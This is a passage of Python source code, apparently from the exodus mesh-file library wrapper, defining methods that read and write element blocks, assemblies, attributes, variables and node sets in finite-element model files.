\"\"\"\n        return self.inquire('EX_INQ_ASSEMBLY')\n\n    def get_assembly(self, object_id):\n        \"\"\"\n        reads the assembly parameters and assembly data for one assembly\n        \"\"\"\n        assem = ex_assembly(id=object_id)\n        self.__ex_get_assembly(assem)\n        assmbly = assembly(assem.name.decode('utf8'), assem.id, assem.type)\n        for j in range(assem.entity_count):\n            assmbly.entity_list.append(assem.entity_list[j])\n        return assmbly\n\n    def get_assemblies(self, object_ids):\n        \"\"\"\n        reads the assembly parameters and assembly data for all assemblies\n        with ids in object_ids\n        \"\"\"\n        assemblies = [ex_assembly(id=object_id) for object_id in object_ids]\n        assems = (ex_assembly * len(assemblies))(*assemblies)\n        self.__ex_get_assemblies(assems)\n        assembs = [assembly(assem.name.decode('utf8'), assem.id, assem.type) for assem in\n                   assems]\n        for i, a in enumerate(assems):\n            for j in range(a.entity_count):\n                assembs[i].entity_list.append(a.entity_list[j])\n        return assembs\n\n    def put_assembly(self, assembly):\n        \"\"\"\n        writes the assembly parameters and assembly data for one assembly\n        \"\"\"\n        self.__ex_put_assembly(assembly)\n\n    def put_assemblies(self, assemblies):\n        \"\"\"\n        writes the assembly parameters and assembly data for multiple assemblies\n        \"\"\"\n        self.__ex_put_assemblies(assemblies)\n\n    def num_blob(self):\n        \"\"\"\n        get the number of blobs in the model\n\n        >>> num_assembly = exo.num_blob()\n\n        Returns\n        -------\n            <int>  num_blob\n        \"\"\"\n        return self.numBlob.value\n\n    def get_blob(self, object_id):\n        \"\"\"\n        reads the blob parameters and blob data for one blob\n        \"\"\"\n        blob = ex_blob(id=object_id)\n        self.__ex_get_blob(blob)\n        return blob\n\n    def num_blks(self):\n        \"\"\"\n        get the number of element blocks in the model\n\n        >>> num_elem_blks = exo.num_blks()\n\n        Returns\n        -------\n        num_elem_blks : int\n        \"\"\"\n        return self.numElemBlk.value\n\n    def get_elem_blk_ids(self):\n        \"\"\"\n        get mapping of exodus element block index to user- or\n        application-defined element block id; elem_blk_ids is ordered\n        by the element block *INDEX* ordering, a 1-based system going\n        from 1 to exo.num_blks(), used by exodus for storage\n        and input/output of array data stored on the element blocks; a\n        user or application can optionally use a separate element block\n        *ID* numbering system, so the elem_blk_ids array points to the\n        element block *ID* for each element block *INDEX*\n\n        >>> elem_blk_ids = exo.get_elem_blk_ids()\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  elem_blk_ids\n\n            if array_type == 'numpy':\n              <np_array<int>>  elem_blk_ids\n        \"\"\"\n        return self.get_ids('EX_ELEM_BLOCK')\n\n    def get_elem_blk_name(self, object_id):\n        \"\"\"\n        get the element block name\n\n        >>> elem_blk_name = exo.get_elem_blk_name(elem_blk_id)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n\n        Returns\n        -------\n        elem_blk_name : string\n        \"\"\"\n        return self.__ex_get_name('EX_ELEM_BLOCK', object_id)\n\n    def put_elem_blk_name(self, object_id, name):\n        \"\"\"\n        store the element block name\n\n        >>> exo.put_elem_blk_name(elem_blk_id, elem_blk_name)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n        elem_blk_name : string\n        \"\"\"\n        self.__ex_put_name('EX_ELEM_BLOCK', object_id, name)\n\n    def get_elem_blk_names(self):\n        \"\"\"\n        get a list of all element block names ordered by block *INDEX*;\n        (see `exodus.get_ids` for explanation of the\n        difference between block *ID* and block *INDEX*)\n\n        >>> elem_blk_names = exo.get_elem_blk_names()\n\n        Returns\n        -------\n        elem_blk_names : <list<string>>\n        \"\"\"\n        return self.__ex_get_names('EX_ELEM_BLOCK')\n\n    def put_elem_blk_names(self, names):\n        \"\"\"\n        store a list of all element block names ordered by block *INDEX*;\n        (see `exodus.get_ids` for explanation of the\n        difference between block *ID* and block *INDEX*)\n\n        >>> exo.put_elem_blk_names(elem_blk_names)\n\n        Parameters\n        ----------\n        elem_blk_names : <list<string>>\n        \"\"\"\n        self.__ex_put_names('EX_ELEM_BLOCK', names)\n\n    def elem_blk_info(self, object_id):\n        \"\"\"\n        get the element block info\n\n        >>> elem_type, num_blk_elems, num_elem_nodes, num_elem_attrs\n        ...       = exo.elem_blk_info(elem_blk_id)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <string>  elem_type       element type, e.g. 'HEX8'\n            <int>     num_blk_elems   number of elements in the block\n            <int>     num_elem_nodes  number of nodes per element\n            <int>     num_elem_attrs  number of attributes per element\n        \"\"\"\n        (elemType, numElem, nodesPerElem, numAttr) = self.__ex_get_block('EX_ELEM_BLOCK', object_id)\n        return elemType, numElem, nodesPerElem, numAttr\n\n    def put_elem_blk_info(self, elem_blk_id, elem_type, num_blk_elems,\n                          num_elem_nodes, num_elem_attrs):\n        \"\"\"\n        store the element block *ID* and element block info\n\n        >>> exo.put_elem_blk_info(elem_blk_id, elem_type, num_blk_elems,\n        ...                      num_elem_nodes, num_elem_attrs)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n        elem_type : string\n            element type (all caps), e.g. 'HEX8'\n        num_blk_elems : int\n            number of elements in the block\n        num_elem_nodes : int\n            number of nodes per element\n        num_elem_attrs : int\n            number of attributes per element\n        \"\"\"\n        self.__ex_put_block('EX_ELEM_BLOCK', elem_blk_id, elem_type, num_blk_elems,\n                            num_elem_nodes, num_elem_attrs)\n\n    def put_concat_elem_blk(self, elem_blk_ids, elem_type, num_blk_elems,\n                            num_elem_nodes, num_elem_attrs, defineMaps):\n        \"\"\"\n        same as exo.put_elem_blk_info() but for all blocks at once\n\n        >>> status = exo.put_concat_elem_blk(elem_blk_ids, elem_types,\n        ...                                 num_blk_elems, num_elem_nodes, num_elem_attrs)\n\n        Parameters\n        ----------\n            <list<int>>     elem_blk_ids     element block *ID* (not *INDEX*)\n              for each block\n            <list<string>>  elem_types       element type for each block\n            <list<int>>     num_blk_elems    number of elements for each\n              block\n            <list<int>>     num_elem_nodes   number of nodes per element\n              for each block\n            <list<int>>     num_elem_attrs   number of attributes per\n              element for each block\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_concat_elem_blk(\n            elem_blk_ids,\n            elem_type,\n            num_blk_elems,\n            num_elem_nodes,\n            num_elem_attrs,\n            defineMaps)\n        return True\n\n    def get_elem_connectivity(self, object_id):\n        \"\"\"\n        get the nodal connectivity, number of elements, and\n        number of nodes per element for a single block\n\n        >>> elem_conn, num_blk_elems, num_elem_nodes\n        ...        = exo.get_elem_connectivity(elem_blk_id)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  elem_conn  ordered list of node *INDICES* that\n                define the connectivity of each element\n                in the block; the list cycles through\n                all nodes of the first element, then\n                all nodes of the second element, etc.\n                (see `exodus.get_id_map` for explanation\n                of node *INDEX* versus node *ID*)\n\n            if array_type == 'numpy':\n              <np_array<int>>  elem_conn  (same description)\n\n            <int>  num_blk_elems    number of elements in the block\n            <int>  num_elem_nodes   number of nodes per element\n        \"\"\"\n        (elem_block_connectivity, num_elem_this_blk,\n         num_nodes_per_elem) = self.__ex_get_elem_conn(object_id)\n        if self.use_numpy:\n            elem_block_connectivity = ctype_to_numpy(\n                self, elem_block_connectivity)\n        return elem_block_connectivity, num_elem_this_blk, num_nodes_per_elem\n\n    def put_elem_connectivity(self, object_id, connectivity):\n        \"\"\"\n        store the nodal connectivity, number of elements, and\n        number of nodes per element for a single block\n\n        >>> exo.put_elem_connectivity(elem_blk_id, elem_conn)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n            <list<int>>  elem_conn    ordered list of node *INDICES* that\n              define the connectivity of each\n              element in the block; the list cycles\n              through all nodes of the first element,\n              then all nodes of the second element,\n              etc.\n              (see `exodus.get_id_map` for explanation\n              of node *INDEX* versus node *ID*)\n        \"\"\"\n        _d1, numBlkElems, numNodesPerElem, _d2 = self.elem_blk_info(object_id)\n        assert len(connectivity) == (numBlkElems * numNodesPerElem)\n        self.__ex_put_elem_conn(object_id, connectivity)\n\n    def get_elem_attr(self, elem_blk_id):\n        \"\"\"\n        get all attributes for each element in a block\n\n        >>> elem_attrs = exo.get_elem_attr(elem_blk_id)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n\n        Returns\n        -------\n            if array_type == 'ctype' : <list<float>> elem_attrs\n            if array_type == 'numpy' : <np_array<float>> elem_attrs\n                list of attribute values for all\n                elements in the block; the list cycles\n                through all attributes of the first\n                element, then all attributes of the\n                second element, etc. Attributes are\n                ordered by the ordering of the names\n                returned by exo.get_attribute_names()\n        \"\"\"\n        elem_attrs = self.__ex_get_elem_attr(elem_blk_id)\n        if self.use_numpy:\n            elem_attrs = ctype_to_numpy(self, elem_attrs)\n        return elem_attrs\n\n    def get_elem_attr_values(self, elem_blk_id, elem_attr_name):\n        \"\"\"\n        get an attribute for each element in a block\n\n        >>> elem_attrs = exo.get_elem_attr(elem_blk_id)\n\n        Parameters\n        ----------\n            <int>    elem_blk_id     element block *ID* (not *INDEX*)\n            <string> elem_attr_name  element attribute name\n\n        Returns\n        -------\n            if array_type == 'ctype': <list<float>>  values\n            if array_type == 'numpy': <np_array<float>>  values\n                array of values for the requested\n                attribute.  Array has dimensions of\n                1 x num_elem, where num_elem is the\n                number of elements on the element block.\n        \"\"\"\n        # Determine index of requested attribute in attribute list\n        elem_attr_names = self.get_attribute_names('EX_ELEM_BLOCK', elem_blk_id)\n        a_ndx = elem_attr_names.index(elem_attr_name)\n\n        values = self.__ex_get_one_attr('EX_ELEM_BLOCK', elem_blk_id, a_ndx + 1)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    def get_attr_values(self, objType, elem_blk_id, elem_attr_name):\n        \"\"\"\n        get an attribute for each element in a block\n\n        >>> elem_attrs = exo.get_elem_attr(elem_blk_id)\n\n        Parameters\n        ----------\n            <int>    elem_blk_id     element block *ID* (not *INDEX*)\n            <string> elem_attr_name  element attribute name\n\n        Returns\n        -------\n            if array_type == 'ctype': <list<float>>  values\n            if array_type == 'numpy': <np_array<float>>  values\n                array of values for the requested\n                attribute.  Array has dimensions of\n                1 x num_elem, where num_elem is the\n                number of elements on the element block.\n        \"\"\"\n        # Determine index of requested attribute in attribute list\n        elem_attr_names = self.get_attribute_names('EX_ELEM_BLOCK', elem_blk_id)\n        a_ndx = elem_attr_names.index(elem_attr_name)\n\n        values = self.__ex_get_one_attr('EX_ELEM_BLOCK', elem_blk_id, a_ndx + 1)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    def put_elem_attr(self, elem_blk_id, elem_attrs):\n        \"\"\"\n        store all attributes for each element in a block\n\n        >>> exo.put_elem_attr(elem_blk_id, elem_attrs)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n        <list<float>>  elem_attrs     list of all attribute values for all\n            elements in the block; the list\n            cycles through all attributes of\n            the first element, then all attributes\n            of the second element, etc. Attributes\n            are ordered by the ordering of the\n            names returned by\n            exo.get_attribute_names()\n        \"\"\"\n        self.__ex_put_elem_attr(elem_blk_id, elem_attrs)\n\n    def put_elem_attr_values(self, elem_blk_id, elem_attr_name, values):\n        \"\"\"\n        store an attribute for each element in a block\n\n        >>> exo.put_elem_attr_values(elem_blk_id, elem_attr_name, values)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n        <string>       elem_attr_name element attribute name\n        <list<float>>  values         list of values for a single attribute\n                                        on a element block.  List dimensions\n                                        should be 1 x N_elem, where N_elem is\n                                        the number of elements on the element\n                                        block.\n        \"\"\"\n        # Determine index of requested attribute in attribute list\n        elem_attr_names = self.get_attribute_names('EX_ELEM_BLOCK', elem_blk_id)\n        a_ndx = elem_attr_names.index(elem_attr_name)\n        self.__ex_put_one_attr('EX_ELEM_BLOCK', elem_blk_id, a_ndx + 1, values)\n\n    def elem_type(self, object_id):\n        \"\"\"\n        get the element type, e.g. \"HEX8\", for an element block\n\n        >>> elem_type = exo.elem_type(elem_blk_id)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <string>  elem_type\n        \"\"\"\n        (elemType, _numElem, _nodesPerElem, _numAttr) = self.__ex_get_block('EX_ELEM_BLOCK', object_id)\n        return elemType\n\n    def num_attr(self, object_id):\n        \"\"\"\n        get the number of attributes per element for an element block\n\n        >>> num_elem_attrs = exo.num_attr(elem_blk_id)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <int>  num_elem_attrs\n        \"\"\"\n        (_elemType, _numElem, _nodesPerElem, numAttr) = self.__ex_get_block('EX_ELEM_BLOCK', object_id)\n        return numAttr\n\n    def num_elems_in_blk(self, object_id):\n        \"\"\"\n        get the number of elements in an element block\n\n        >>> num_blk_elems = exo.num_elems_in_blk(elem_blk_id)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <int>  num_blk_elems\n        \"\"\"\n        vals = self.get_entity_count('EX_ELEM_BLOCK', object_id)\n        return vals\n\n    def num_nodes_per_elem(self, object_id):\n        \"\"\"\n        get the number of nodes per element for an element block\n\n        >>> num_elem_nodes = exo.num_nodes_per_elem(elem_blk_id)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <int>  num_elem_nodes\n        \"\"\"\n        (_elemType, _numElem, nodesPerElem, _numAttr) = self.__ex_get_block('EX_ELEM_BLOCK', object_id)\n        return nodesPerElem\n\n    def get_element_variable_truth_table(self, entId=None):\n        \"\"\"\n        See `exodus.get_variable_truth_table`\n        \"\"\"\n        return self.get_variable_truth_table('EX_ELEM_BLOCK', entId)\n\n    def set_element_variable_truth_table(self, table):\n        \"\"\"\n        See `exodus.set_variable_truth_table`\n        \"\"\"\n        return self.set_variable_truth_table('EX_ELEM_BLOCK', table)\n\n    def get_element_variable_values(self, blockId, name, step):\n        \"\"\"\n        get list of element variable values for a specified element\n        block, element variable name, and time step\n\n        >>> evar_vals = exo.get_element_variable_values(elem_blk_id,\n        ...                                            evar_name, time_step)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n        evar_name : string\n            name of element variable\n        time_step : int\n            1-based index of time step\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  evar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  evar_vals\n        \"\"\"\n        return self.get_variable_values('EX_ELEM_BLOCK', blockId, name, step)\n\n    def get_partial_element_variable_values(self, blockId, name, step, start_index, num_elements):\n        \"\"\"\n        get list of element variable values for a specified element\n        block, element variable name, and time step\n\n        >>> evar_vals = exo.get_element_variable_values(elem_blk_id,\n        ...                                            evar_name, time_step)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n        evar_name : string\n            name of element variable\n        time_step : int\n            1-based index of time step\n        start_index: int\n            1-based index of element in block to start returning data\n        num_elements: int\n            number of elements to return data for.\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  evar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  evar_vals\n        \"\"\"\n        names = self.get_variable_names('EX_ELEM_BLOCK')\n        var_id = names.index(name) + 1\n        values = self.__ex_get_partial_var(step, 'EX_ELEM_BLOCK', var_id, blockId, start_index, num_elements)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    # --------------------------------------------------------------------\n\n    def put_element_variable_values(self, blockId, name, step, values):\n        \"\"\"\n        store a list of element variable values for a specified element\n        block, element variable name, and time step\n\n        >>> status = exo.put_element_variable_values(elem_blk_id,\n        ...             evar_name, time_step, evar_vals)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n            <string>       evar_name    name of element variable\n            <int>          time_step    1-based index of time step\n            <list<float>>  evar_vals\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.put_variable_values('EX_ELEM_BLOCK', blockId, name, step, values)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_element_variable_number(self):\n        \"\"\"\n        get the number of element variables in the model\n\n        >>> num_evars = exo.get_element_variable_number()\n\n        Returns\n        -------\n              <int>  num_evars\n        \"\"\"\n        return self.__ex_get_variable_param('EX_ELEM_BLOCK').value\n\n    # --------------------------------------------------------------------\n\n    def set_element_variable_number(self, number):\n        \"\"\"\n        update the number of element variables in the model\n\n        >>> status = exo.set_element_variable_number(num_evars)\n\n        Parameters\n        ----------\n              <int>  num_evars\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_variable_param('EX_ELEM_BLOCK', number)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_element_variable_names(self):\n        \"\"\"\n        get the list of element variable names in the model\n\n        >>> evar_names = exo.get_element_variable_names()\n\n        Returns\n        -------\n              <list<string>>  evar_names\n        \"\"\"\n        if self.__ex_get_variable_param('EX_ELEM_BLOCK').value == 0:\n            return []\n        return self.__ex_get_variable_names('EX_ELEM_BLOCK')\n\n    # --------------------------------------------------------------------\n\n    def put_element_variable_name(self, name, index):\n        \"\"\"\n        add the name and index of a new element variable to the model;\n        element variable indexing goes from 1 to\n        exo.get_element_variable_number()\n\n        >>> status = exo.put_element_variable_name(evar_name, evar_index)\n\n        Parameters\n        ----------\n            <string>  evar_name   name of new element variable\n            <int>     evar_index  1-based index of new element variable\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n\n        Note:\n        ----\n        this method is often called within the following sequence:\n\n        >>> num_evars = exo.get_element_variable_number()\n        >>> new_evar_index = num_evars + 1\n        >>> num_evars += 1\n        >>> exo.set_element_variable_number(num_evars)\n        >>> exo.put_element_variable_name(\"new_evar\", new_evar_index)\n        \"\"\"\n        EBvarNames = self.get_variable_names('EX_ELEM_BLOCK')\n        if name in EBvarNames:\n            print(f'WARNING: element variable \\\"{name}\\\" already exists.')\n        if index > len(EBvarNames):\n            print((\"index\", index, \"len\", len(EBvarNames)))\n            raise Exception(\"ERROR: variable index out of range.\")\n        self.__ex_put_variable_name('EX_ELEM_BLOCK', index, name)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_attribute_names(self, objType, blkId):\n        \"\"\"\n        get the list of attribute names for the specified block/set\n\n        >>> attr_names = exo.get_attribute_names('EX_ELEM_BLOCK', elem_blk_id)\n\n        Parameters\n        ----------\n        objType:\n            entity type\n        blkId : int\n            block/set *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <list<string>>  attr_names\n        \"\"\"\n        names = self.__ex_get_attr_names(objType, blkId)\n        return list(names)\n\n    # --------------------------------------------------------------------\n\n    def get_element_attribute_names(self, blkId):\n        \"\"\"\n        get the list of element attribute names for a block\n\n        >>> attr_names = exo.get_element_attribute_names(elem_blk_id)\n\n        Parameters\n        ----------\n        blkId : int\n            block/set *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <list<string>>  attr_names\n        \"\"\"\n        names = self.__ex_get_attr_names('EX_ELEM_BLOCK', blkId)\n        return list(names)\n\n    # --------------------------------------------------------------------\n\n    def put_attribute_names(self, objType, blkId, names):\n        \"\"\"\n        store the list of element attribute names for a block\n\n        >>> status = exo.put_attribute_names('EX_ELEM_BLOCK', elem_blk_id, attr_names)\n\n        Parameters\n        ----------\n        objType:\n            entity type\n        blkId : int\n            block/set  *ID* (not *INDEX*)\n        <list<string>>  attr_names\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_attr_names(objType, blkId, names)\n\n    # --------------------------------------------------------------------\n\n    def put_element_attribute_names(self, blkId, names):\n        \"\"\"\n        store the list of element attribute names for a block\n\n        >>> status = exo.put_attribute_names(elem_blk_id, attr_names)\n\n        Parameters\n        ----------\n        blkId : int\n            block/set *ID* (not *INDEX*)\n        <list<string>>  attr_names\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_attr_names('EX_ELEM_BLOCK', blkId, names)\n\n    # --------------------------------------------------------------------\n\n    def get_element_property_names(self):\n        \"\"\"\n        get the list of element property names for all element blocks\n        in the model\n\n        >>> eprop_names = exo.get_element_property_names()\n\n        Returns\n        -------\n            <list<string>>  eprop_names\n        \"\"\"\n        names = self.__ex_get_prop_names('EX_ELEM_BLOCK', 'EX_INQ_EB_PROP')\n        return list(names)\n\n    # --------------------------------------------------------------------\n\n    def get_element_property_value(self, object_id, name):\n        \"\"\"\n        get element property value (an integer) for a specified element\n        block and element property name\n\n        >>> eprop_val = exo.get_element_property_value(elem_blk_id, eprop_name)\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n            <string>  eprop_name\n\n        Returns\n        -------\n            <int>  eprop_val\n        \"\"\"\n        propVal = self.__ex_get_prop('EX_ELEM_BLOCK', object_id, name)\n        return int(propVal)\n\n    # --------------------------------------------------------------------\n\n    def put_element_property_value(self, object_id, name, value):\n        \"\"\"\n        store an element property name and its integer value for an\n        element block\n\n        >>> status = exo.put_element_property_value(elem_blk_id,\n        ...                                         eprop_name, eprop_val)\n\n\n        Parameters\n        ----------\n        elem_blk_id : int\n            element block *ID* (not *INDEX*)\n            <string>  eprop_name\n            <int>     eprop_val\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_prop('EX_ELEM_BLOCK', object_id, name, value)\n\n    # --------------------------------------------------------------------\n\n    #\n    # nodesets\n    #\n    # --------------------------------------------------------------------\n\n    def num_node_sets(self):\n        \"\"\"\n        get the number of node sets in the model\n\n        >>> num_node_sets = exo.num_node_sets()\n\n        Returns\n        -------\n            <int>  num_node_sets\n        \"\"\"\n        return self.numNodeSets.value\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_ids(self):\n        \"\"\"\n        get mapping of exodus node set index to user- or application-\n        defined node set id; node_set_ids is ordered\n        by the *INDEX* ordering, a 1-based system going from\n        1 to exo.num_node_sets(), used by exodus for storage\n        and input/output of array data stored on the node sets; a\n        user or application can optionally use a separate node set\n        *ID* numbering system, so the node_set_ids array points to the\n        node set *ID* for each node set *INDEX*\n\n        >>> node_set_ids = exo.get_ids('EX_NODE_SET')\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  node_set_ids\n\n            if array_type == 'numpy':\n              <np_array<int>>  node_set_ids\n        \"\"\"\n        return self.get_ids('EX_NODE_SET')\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_name(self, object_id):\n        \"\"\"\n        get the name of a node set\n\n        >>> node_set_name = exo.get_node_set_name(node_set_id)\n\n        Parameters\n        ----------\n            <int>  node_set_id  node set *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <string>  node_set_name\n        \"\"\"\n        return self.__ex_get_name('EX_NODE_SET', object_id)\n\n    # --------------------------------------------------------------------\n\n    def put_node_set_name(self, object_id, name):\n        \"\"\"\n        store the name of a node set\n\n        >>> exo.put_node_set_name(node_set_id, node_set_name)\n\n        Parameters\n        ----------\n            <int>     node_set_id    node set *ID* (not *INDEX*)\n            <string>  node_set_name\n        \"\"\"\n        self.__ex_put_name('EX_NODE_SET', object_id, name)\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_names(self):\n        \"\"\"\n        get a list of all node set names ordered by node set *INDEX*;\n        (see `exodus.get_ids` for explanation of the\n        difference between node set *ID* and node set *INDEX*)\n\n        >>> node_set_names = exo.get_node_set_names()\n\n        Returns\n        -------\n            <list<string>>  node_set_names\n        \"\"\"\n        return self.__ex_get_names('EX_NODE_SET')\n\n    # --------------------------------------------------------------------\n\n    def put_node_set_names(self, names):\n        \"\"\"\n        store a list of all node set names ordered by node set *INDEX*;\n        (see `exodus.get_ids` for explanation of the\n        difference between node set *ID* and node set *INDEX*)\n\n        >>> exo.put_node_set_names(node_set_names)\n\n        Parameters\n        ----------\n            <list<string>>  node_set_names\n        \"\"\"\n        self.__ex_put_names('EX_NODE_SET', names)\n\n    # --------------------------------------------------------------------\n\n    def num_nodes_in_node_set(self, object_id):\n        \"\"\"\n        get the number of nodes in a node set\n\n        >>> num_ns_nodes = exo.num_nodes_in_node_set(node_set_id)\n\n        Parameters\n        ----------\n            <int>  node_set_id  node set *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <int>  num_ns_nodes\n        \"\"\"\n        node_set_nodes = self.get_node_set_nodes(object_id)\n        return len(node_set_nodes)\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_nodes(self, object_id):\n        \"\"\"\n        get the list of node *INDICES* in a node set\n        (see `exodus.get_id_map` for explanation of node *INDEX*\n        versus node *ID*)\n\n        >>> ns_nodes = exo.get_node_set_nodes(node_set_id)\n\n        Parameters\n        ----------\n            <int>  node_set_id  node set *ID* (not *INDEX*)\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  ns_nodes\n\n            if array_type == 'numpy':\n              <np_array<int>>  ns_nodes\n        \"\"\"\n        node_set_ids = self.get_ids('EX_NODE_SET')\n        assert object_id in node_set_ids\n        node_set_nodes = self.__ex_get_node_set(object_id)\n        node_set_nodes = list(node_set_nodes)\n        if self.use_numpy:\n            node_set_nodes = self.np.array(node_set_nodes)\n        return node_set_nodes\n\n    # --------------------------------------------------------------------\n\n    def put_node_set(self, object_id, nodeSetNodes):\n        \"\"\"\n        store a node set by its id and the list of node *INDICES* in\n        the node set (see `exodus.get_id_map` for explanation of node\n        *INDEX* versus node *ID*)\n\n        >>> exo.put_node_set(node_set_id, ns_nodes)\n\n        Parameters\n        ----------\n            <int>        node_set_id  node set *ID* (not *INDEX*)\n            <list<int>>  ns_nodes\n        \"\"\"\n        self.__ex_put_node_set(object_id, nodeSetNodes)\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_dist_facts(self, object_id):\n        \"\"\"\n        get the list of distribution factors for nodes in a node set\n\n        >>> ns_dist_facts = exo.get_node_set_dist_facts(node_set_id)\n\n        Parameters\n        ----------\n            <int>        node_set_id  node set *ID* (not *INDEX*)\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<float>>  ns_dist_facts  a list of distribution factors,\n                e.g. nodal 'weights'\n\n            if array_type == 'numpy':\n              <np_array<double>>  ns_dist_facts  a list of distribution\n                factors, e.g. nodal\n                'weights'\n        \"\"\"\n        node_set_dfs = self.__ex_get_node_set_dist_fact(object_id)\n        node_set_dfs = list(node_set_dfs)\n        if self.use_numpy:\n            node_set_dfs = self.np.array(node_set_dfs)\n        return node_set_dfs\n\n    # --------------------------------------------------------------------\n\n    def put_node_set_dist_fact(self, object_id, nodeSetDistFact):\n        \"\"\"\n        store the list of distribution factors for nodes in a node set\n\n        >>> exo.put_node_set_dist_fact(node_set_id, ns_dist_facts)\n\n        Parameters\n        ----------\n            <int>          node_set_id    node set *ID* (not *INDEX*)\n            <list<float>>  ns_dist_facts  a list of distribution factors,\n              e.g. nodal 'weights'\n        \"\"\"\n        self.__ex_put_node_set_dist_fact(object_id, nodeSetDistFact)\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_variable_number(self):\n        \"\"\"\n        get the number of node set variables in the model\n\n        >>> num_nsvars = exo.get_node_set_variable_number()\n\n        Returns\n        -------\n              <int>  num_nsvars\n        \"\"\"\n        return self.__ex_get_variable_param('EX_NODE_SET').value\n\n    # --------------------------------------------------------------------\n\n    def set_node_set_variable_number(self, number):\n        \"\"\"\n        update the number of node set variables in the model\n\n        >>> status = exo.set_node_set_variable_number(num_nsvars)\n\n        Parameters\n        ----------\n              <int>  num_nsvars\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_variable_param('EX_NODE_SET', number)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_variable_truth_table(self, entId=None):\n        \"\"\"\n        See `exodus.get_variable_truth_table`\n        \"\"\"\n        return self.get_variable_truth_table('EX_NODE_SET', entId)\n\n    # --------------------------------------------------------------------\n\n    def set_node_set_variable_truth_table(self, table):\n        \"\"\"\n        See `exodus.set_variable_truth_table`\n        \"\"\"\n        return self.set_variable_truth_table('EX_NODE_SET', table)\n\n    # --------------------------------------------------------------------\n\n    def get_node_set_variable_names(self):\n        \"\"\"\n        get the list of node set variable names in the model\n\n        >>> nsvar_names = exo.get_node_set_variable_names()\n\n        Returns\n        -------\n              <list<string>>  nsvar_names\n        \"\"\"\n        if self.__ex_get_variable_param('EX_NODE_SET').value == 0:\n            return []\n        return self.__ex_get_variable_names('EX_NODE_SET')\n\n    # --------------------------------------------------------------------\n\n    def put_node_set_variable_name(self, name, index):\n        \"\"\"\n        add the name and index of a new node set variable to the model;\n        node set variable indexing goes from 1 to\n        exo.get_node_set_variable_number()\n\n        >>> status = exo.put_node_set_variable_name(nsvar_name, nsvar_index)\n\n        Parameters\n        ----------\n            <string>  nsvar_name   name of new node set variable\n            <int>     nsvar_index  1-based index of new node set variable\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n\n        Note:\n        -----\n        this method is often called within the following sequence:\n\n        >>> num_nsvars = exo.get_node_set_variable_number()\n        >>> new_nsvar_index = num_nsvars + 1\n        >>> num_nsvars += 1\n        >>> exo.set_node_set_variable_number(num_nsvars)\n        >>> exo.put_node_set_variable_name(\"new_nsvar\", new_nsvar_index)\n        \"\"\"\n        NSvarNames = self.get_variable_names('EX_NODE_SET')\n        if name in NSvarNames:\n            